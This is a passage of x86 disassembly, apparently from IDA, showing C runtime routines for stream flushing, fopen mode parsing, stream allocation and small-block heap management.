		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416774	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_41B20Bp
		push	1
		call	sub_4167D9
		pop	ecx
		retn
sub_4167D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167D9	proc near		; CODE XREF: sub_416739+Ap
					; sub_4167D0+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_45FB00, esi
		jle	short loc_416837


loc_4167EA:				; CODE XREF: sub_4167D9+5Cj
		mov	eax, ds:dword_45EAF0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41682E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41682E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_416814
		push	eax
		call	sub_416739
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41682E
		inc	ebx
		jmp	short loc_41682E
; ---------------------------------------------------------------------------


loc_416814:				; CODE XREF: sub_4167D9+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41682E
		test	cl, 2
		jz	short loc_41682E
		push	eax
		call	sub_416739
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41682E
		or	edi, eax


loc_41682E:				; CODE XREF: sub_4167D9+1Bj
					; sub_4167D9+23j ...
		inc	esi
		cmp	esi, ds:dword_45FB00
		jl	short loc_4167EA


loc_416837:				; CODE XREF: sub_4167D9+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_416842
		mov	eax, edi


loc_416842:				; CODE XREF: sub_4167D9+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4167D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416846	proc near		; CODE XREF: sub_413C56+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41B140
		test	eax, eax
		pop	ecx
		jz	short loc_4168CF
		cmp	esi, offset dword_42D808
		jnz	short loc_416864
		xor	eax, eax
		jmp	short loc_41686F
; ---------------------------------------------------------------------------


loc_416864:				; CODE XREF: sub_416846+18j
		cmp	esi, offset dword_42D828
		jnz	short loc_4168CF
		push	1
		pop	eax


loc_41686F:				; CODE XREF: sub_416846+1Cj
		inc	ds:dword_45E9C4
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4168CF
		cmp	ds:dword_45E85C[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:45E85Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4168B5
		push	ebx
		call	sub_413E5F
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4168B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4168C2
; ---------------------------------------------------------------------------


loc_4168B5:				; CODE XREF: sub_416846+4Dj
					; sub_416846+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4168C2:				; CODE XREF: sub_416846+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4168CF:				; CODE XREF: sub_416846+10j
					; sub_416846+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_416846	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168D3	proc near		; CODE XREF: sub_413C56+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4168FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41690E
		push	esi
		call	sub_416774
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4168FD:				; CODE XREF: sub_4168D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41690E
		push	eax
		call	sub_416774
		pop	ecx


loc_41690E:				; CODE XREF: sub_4168D3+10j
					; sub_4168D3+32j
		pop	esi
		retn
sub_4168D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416910	proc near		; CODE XREF: sub_413C88+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_45E9CC
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_416949
		cmp	al, 72h
		jz	short loc_416942
		cmp	al, 77h
		jnz	loc_416A5D
		mov	ecx, 301h
		jmp	short loc_41694E
; ---------------------------------------------------------------------------


loc_416942:				; CODE XREF: sub_416910+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_416951
; ---------------------------------------------------------------------------


loc_416949:				; CODE XREF: sub_416910+1Dj
		mov	ecx, 109h


loc_41694E:				; CODE XREF: sub_416910+30j
		or	esi, 2


loc_416951:				; CODE XREF: sub_416910+37j
		push	1
		pop	edx


loc_416954:				; CODE XREF: sub_416910+8Bj
					; sub_416910+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_416A43
		cmp	edx, ebx
		jz	loc_416A43
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_4169E2
		jz	short loc_4169D2
		sub	eax, 2Bh
		jz	short loc_4169BC
		sub	eax, 19h
		jz	short loc_4169B2
		sub	eax, 0Eh
		jz	short loc_41699D
		dec	eax
		jnz	loc_416A34
		cmp	[ebp+var_4], ebx
		jnz	loc_416A34
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_416954
; ---------------------------------------------------------------------------


loc_41699D:				; CODE XREF: sub_416910+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_416A34
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_416954
; ---------------------------------------------------------------------------


loc_4169B2:				; CODE XREF: sub_416910+6Aj
		test	cl, 40h
		jnz	short loc_416A34
		or	ecx, 40h
		jmp	short loc_416954
; ---------------------------------------------------------------------------


loc_4169BC:				; CODE XREF: sub_416910+65j
		test	cl, 2
		jnz	short loc_416A34
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_416954
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_416910+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_416A34
		or	ecx, eax
		jmp	loc_416954
; ---------------------------------------------------------------------------


loc_4169E2:				; CODE XREF: sub_416910+5Ej
		sub	eax, 62h
		jz	short loc_416A2F
		dec	eax
		jz	short loc_416A18
		sub	eax, 0Bh
		jz	short loc_416A01
		sub	eax, 6
		jnz	short loc_416A34
		test	ch, 0C0h
		jnz	short loc_416A34
		or	ch, 40h
		jmp	loc_416954
; ---------------------------------------------------------------------------


loc_416A01:				; CODE XREF: sub_416910+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_416A34
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_416954
; ---------------------------------------------------------------------------


loc_416A18:				; CODE XREF: sub_416910+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_416A34
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_416954
; ---------------------------------------------------------------------------


loc_416A2F:				; CODE XREF: sub_416910+D5j
		test	ch, 0C0h
		jz	short loc_416A3B


loc_416A34:				; CODE XREF: sub_416910+72j
					; sub_416910+7Bj ...
		xor	edx, edx
		jmp	loc_416954
; ---------------------------------------------------------------------------


loc_416A3B:				; CODE XREF: sub_416910+122j
		or	ch, 80h
		jmp	loc_416954
; ---------------------------------------------------------------------------


loc_416A43:				; CODE XREF: sub_416910+4Aj
					; sub_416910+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B5EA
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_416A61


loc_416A5D:				; CODE XREF: sub_416910+25j
		xor	eax, eax
		jmp	short loc_416A7B
; ---------------------------------------------------------------------------


loc_416A61:				; CODE XREF: sub_416910+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_45E9C4
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_416A7B:				; CODE XREF: sub_416910+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416910	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A80	proc near		; CODE XREF: sub_413C88p
		mov	edx, ds:dword_45FB00
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_416AF1
		mov	ebx, ds:dword_45EAF0
		mov	edi, ebx


loc_416A9C:				; CODE XREF: sub_416A80+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_416AB7
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_416AB2
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_416A9C
		jmp	short loc_416AF1
; ---------------------------------------------------------------------------


loc_416AB2:				; CODE XREF: sub_416A80+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_416ADB
; ---------------------------------------------------------------------------


loc_416AB7:				; CODE XREF: sub_416A80+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_413E5F
		pop	ecx
		mov	ecx, ds:dword_45EAF0
		mov	[edi+ecx], eax
		mov	eax, ds:dword_45EAF0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_416AF1
		mov	esi, edi


loc_416ADB:				; CODE XREF: sub_416A80+35j
		cmp	esi, ebp
		jz	short loc_416AF1
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_416AF1:				; CODE XREF: sub_416A80+12j
					; sub_416A80+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AF8	proc near		; CODE XREF: sub_413E71+1Fp
					; sub_41556F+106p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_45E868
		test	eax, eax
		jz	short loc_416B10
		push	[esp+arg_0]
		call	eax ; dword_45E868
		test	eax, eax
		pop	ecx
		jz	short loc_416B10
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416AF8+7j
					; sub_416AF8+12j
		xor	eax, eax
		retn
sub_416AF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B13	proc near		; CODE XREF: seg000:00415BE2p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_41F168	; HeapCreate
		test	eax, eax
		mov	ds:dword_45FE60, eax
		jz	short loc_416B48
		call	sub_416B4F
		test	eax, eax
		jnz	short loc_416B4B
		push	ds:dword_45FE60
		call	ds:dword_41F164	; HeapDestroy


loc_416B48:				; CODE XREF: sub_416B13+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416B4B:				; CODE XREF: sub_416B13+27j
		push	1
		pop	eax
		retn
sub_416B13	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B4F	proc near		; CODE XREF: sub_416B13+20p
		push	140h
		push	0
		push	ds:dword_45FE60
		call	ds:dword_41F140	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_45FE5C, eax
		jnz	short loc_416B6C
		retn
; ---------------------------------------------------------------------------


loc_416B6C:				; CODE XREF: sub_416B4F+1Aj
		and	ds:dword_45FE54, 0
		and	ds:dword_45FE58, 0
		push	1
		mov	ds:dword_45FE50, eax
		mov	ds:dword_45FE48, 10h
		pop	eax
		retn
sub_416B4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B8D	proc near		; CODE XREF: sub_413ED3+Ap
					; sub_41556F+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_45FE58
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_45FE5C
		lea	ecx, [eax+ecx*4]


loc_416B9D:				; CODE XREF: sub_416B8D+26j
		cmp	eax, ecx
		jnb	short loc_416BB5
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_416BB7
		add	eax, 14h
		jmp	short loc_416B9D
; ---------------------------------------------------------------------------


loc_416BB5:				; CODE XREF: sub_416B8D+12j
		xor	eax, eax

locret_416BB7:				; CODE XREF: sub_416B8D+21j
		retn
sub_416B8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BB8	proc near		; CODE XREF: sub_413ED3+16p
					; sub_41556F+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_416C7E
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_416C10
		mov	[ebp+arg_4], edi


loc_416C10:				; CODE XREF: sub_416BB8+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_416C62
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_416C3E
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_416C62
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_416C62
; ---------------------------------------------------------------------------


loc_416C3E:				; CODE XREF: sub_416BB8+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_416C62
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_416C62:				; CODE XREF: sub_416BB8+60j
					; sub_416BB8+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_416C7E:				; CODE XREF: sub_416BB8+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_416C8C
		push	3Fh
		pop	edi


loc_416C8C:				; CODE XREF: sub_416BB8+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_416D3B
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_416CB7
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_416CB7:				; CODE XREF: sub_416BB8+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_416CC9
		mov	edi, edx


loc_416CC9:				; CODE XREF: sub_416BB8+10Dj
		cmp	ecx, edi
		jz	short loc_416D38
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_416D20
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_416CFC
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_416D20
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_416D20
; ---------------------------------------------------------------------------


loc_416CFC:				; CODE XREF: sub_416BB8+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_416D20
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_416D20:				; CODE XREF: sub_416BB8+11Ej
					; sub_416BB8+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_416D38:				; CODE XREF: sub_416BB8+113j
		mov	edx, [ebp+var_8]


loc_416D3B:				; CODE XREF: sub_416BB8+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_416D4A
		cmp	[ebp+arg_4], edi
		jz	loc_416DD3


loc_416D4A:				; CODE XREF: sub_416BB8+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_416DD3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_416DA7
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416D96
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_416D96:				; CODE XREF: sub_416BB8+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_416DD0
; ---------------------------------------------------------------------------


loc_416DA7:				; CODE XREF: sub_416BB8+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416DBD
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_416DBD:				; CODE XREF: sub_416BB8+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_416DD0:				; CODE XREF: sub_416BB8+1EDj
		mov	ebx, [ebp+var_C]


loc_416DD3:				; CODE XREF: sub_416BB8+18Cj
					; sub_416BB8+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_416EDE
		mov	eax, ds:dword_45FE54
		test	eax, eax
		jz	loc_416ED0
		mov	ecx, ds:dword_45FE4C
		mov	edi, ds:dword_41F16C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; dword_41F16C
		mov	ecx, ds:dword_45FE4C
		mov	eax, ds:dword_45FE54
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_45FE54
		mov	ecx, ds:dword_45FE4C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_45FE54
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_45FE54
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_416E5E
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_45FE54


loc_416E5E:				; CODE XREF: sub_416BB8+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_416ED0
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; dword_41F16C
		mov	eax, ds:dword_45FE54
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_45FE60
		call	ds:dword_41F144	; RtlFreeHeap
		mov	eax, ds:dword_45FE58
		mov	edx, ds:dword_45FE5C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_45FE54
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_414520
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_45FE58
		cmp	eax, ds:dword_45FE54
		jbe	short loc_416EC2
		sub	eax, 14h


loc_416EC2:				; CODE XREF: sub_416BB8+305j
		mov	ecx, ds:dword_45FE5C
		mov	ds:dword_45FE50, ecx
		jmp	short loc_416ED3
; ---------------------------------------------------------------------------


loc_416ED0:				; CODE XREF: sub_416BB8+233j
					; sub_416BB8+2AAj
		mov	eax, [ebp+arg_0]


loc_416ED3:				; CODE XREF: sub_416BB8+316j
		mov	ds:dword_45FE54, eax
		mov	ds:dword_45FE4C, esi


loc_416EDE:				; CODE XREF: sub_416BB8+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416BB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EE3	proc near		; CODE XREF: sub_413E9D+Ep
					; sub_41556F+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_45FE58
		mov	edx, ds:dword_45FE5C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_416F23
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_416F33
; ---------------------------------------------------------------------------


loc_416F23:				; CODE XREF: sub_416EE3+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_416F33:				; CODE XREF: sub_416EE3+3Ej
		mov	eax, ds:dword_45FE50
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_416F5A


loc_416F41:				; CODE XREF: sub_416EE3+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416F5A
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_416F41


loc_416F5A:				; CODE XREF: sub_416EE3+5Cj
					; sub_416EE3+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_416FD8
		mov	ebx, edx


loc_416F61:				; CODE XREF: sub_416EE3+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_416F7D
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416F7B
		add	ebx, 14h
		jmp	short loc_416F61
; ---------------------------------------------------------------------------


loc_416F7B:				; CODE XREF: sub_416EE3+91j
		cmp	ebx, eax


loc_416F7D:				; CODE XREF: sub_416EE3+83j
		jnz	short loc_416FD8


loc_416F7F:				; CODE XREF: sub_416EE3+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_416F95
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_416F92
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_416F7F
; ---------------------------------------------------------------------------


loc_416F92:				; CODE XREF: sub_416EE3+A5j
		cmp	ebx, [ebp+var_4]


loc_416F95:				; CODE XREF: sub_416EE3+9Fj
		jnz	short loc_416FBD
		mov	ebx, edx


loc_416F99:				; CODE XREF: sub_416EE3+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_416FAD
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_416FAB
		add	ebx, 14h
		jmp	short loc_416F99
; ---------------------------------------------------------------------------


loc_416FAB:				; CODE XREF: sub_416EE3+C1j
		cmp	ebx, eax


loc_416FAD:				; CODE XREF: sub_416EE3+BBj
		jnz	short loc_416FBD
		call	sub_4171EC
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_416FD1


loc_416FBD:				; CODE XREF: sub_416EE3:loc_416F95j
					; sub_416EE3:loc_416FADj
		push	ebx
		call	sub_41729D
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_416FD8


loc_416FD1:				; CODE XREF: sub_416EE3+D8j
		xor	eax, eax
		jmp	loc_4171E7
; ---------------------------------------------------------------------------


loc_416FD8:				; CODE XREF: sub_416EE3+7Aj
					; sub_416EE3:loc_416F7Dj ...
		mov	ds:dword_45FE50, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_416FFF
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_417036


loc_416FFF:				; CODE XREF: sub_416EE3+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_417033


loc_41701C:				; CODE XREF: sub_416EE3+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41701C


loc_417033:				; CODE XREF: sub_416EE3+137j
		mov	edx, [ebp+var_4]


loc_417036:				; CODE XREF: sub_416EE3+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41705F
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41705F:				; CODE XREF: sub_416EE3+16Dj
					; sub_416EE3+183j
		test	ecx, ecx
		jl	short loc_417068
		shl	ecx, 1
		inc	edi
		jmp	short loc_41705F
; ---------------------------------------------------------------------------


loc_417068:				; CODE XREF: sub_416EE3+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_417085
		push	3Fh
		pop	esi


loc_417085:				; CODE XREF: sub_416EE3+19Dj
		cmp	esi, edi
		jz	loc_41719A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4170F6
		cmp	edi, 20h
		jge	short loc_4170C5
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4170F3
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
